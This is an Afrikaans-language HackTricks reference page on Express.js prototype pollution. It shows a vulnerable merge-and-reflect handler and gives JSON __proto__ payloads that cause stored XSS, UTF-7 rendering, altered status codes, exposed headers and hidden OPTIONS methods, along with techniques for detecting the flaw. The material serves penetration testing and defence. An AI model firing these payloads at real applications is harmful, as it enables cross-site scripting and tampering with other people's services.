Express Prototype Pollution Gadgets
Reading time: 4 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Dien XSS-antwoorde
Vir verdere besonderhede kyk na die oorspronklike navorsing
Verander JSON inhouds tipe na HTML
In 'n Express-toepassing wat 'n JSON inhouds tipe antwoord gebruik en 'n JSON reflekteer:
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
})
In hierdie gevalle is XSS normaalweg nie moontlik met 'n JSON-inhouds tipe nie. egter, met prototipe besoedeling kan ons Express verwar om 'n HTML-antwoord te lewer. Hierdie kwesbaarheid is afhanklik van die aansoek wat res.send(obj)
gebruik en die liggaam parser met die toepassing/json-inhouds tipe.
{ "__proto__": { "_body": true, "body": "<script>evil()" } }
Deur body
en _body
eienskappe te besoedel, is dit moontlik om Express te laat dien die HTML inhoud tipe en die _body
eienskap te reflekteer, wat lei tot gestoor XSS.
Render UTF7
Dit is moontlik om express UTF-7 inhoud te laat render met:
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }
Veilige Skandeertegnieke
JSON spasie
Die volgende PP sal eienskappe binne 'n JSON 'n ekstra spasie gee wat nie die funksionaliteit sal breek nie:
{ "__proto__": { "json spaces": " " } }
Dan sal 'n weerspieëlde JSON soos volg lyk:
{"foo": "bar"} -- Note the extra space
Blootgestelde Koppe
Die volgende PP gadget sal die bediener dwing om die HTTP-kop: Access-Control-Expose_headers: foo
terug te stuur.
{ "__proto__": { "exposedHeaders": ["foo"] } }
Dit vereis dat die CORS-module geïnstalleer word
OPTIONS Metode
Met die volgende payload is dit moontlik om 'n metode uit 'n OPTIONS-respons te verberg:
// Original reponse: POST,GET,HEAD
// Payload:
{"__proto__":{"head":true}}
//New response: POST;GET
Status
Dit is moontlik om die teruggegee statuskode te verander met die volgende PP payload:
{ "__proto__": { "status": 510 } }
Fout
Wanneer jy aan 'n prototipe toewys met 'n primitiewe soos 'n string, produseer dit 'n geen-operasie nie, aangesien die prototipe 'n objek moet wees. As jy probeer om 'n prototipe objek aan die Object.prototype
self toe te wys, sal dit 'n uitsondering gooi. Ons kan hierdie twee gedrag gebruik om te detecteer of prototipe besoedeling suksesvol was:
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception
Reflected Value
Wanneer 'n toepassing 'n objek in sy antwoord insluit, kan dit insiggewend wees om 'n attribuut met 'n ongewone naam saam met __proto__
te skep. Spesifiek, as slegs die ongewone attribuut in die antwoord teruggestuur word, kan dit die toepassing se kwesbaarheid aandui:
{ "unusualName": "value", "__proto__": "test" }
Boonop, in scenario's waar 'n biblioteek soos Lodash gebruik word, bied die instelling van 'n eienskap sowel via prototipe besoedeling (PP) as direk binne die objek 'n ander diagnostiese benadering. As so 'n eienskap uit die antwoord weggelaat word, dui dit daarop dat Lodash die bestaan van die eienskap in die teikenobjek verifieer voordat dit saamgevoeg word:
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
Verskeie
Laat Punte Toe
Daar is 'n opsie in Express wat jou toelaat om objekte te skep uit soekstring parameters.
Jy kan dit beslis in 'n fout ketting gebruik om 'n prototipe besoedeling kwesbaarheid te ontgin.
{ "__proto__": { "allowDots": true } }
?foo.bar=baz
skep 'n objek in Node.
Verwysings
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.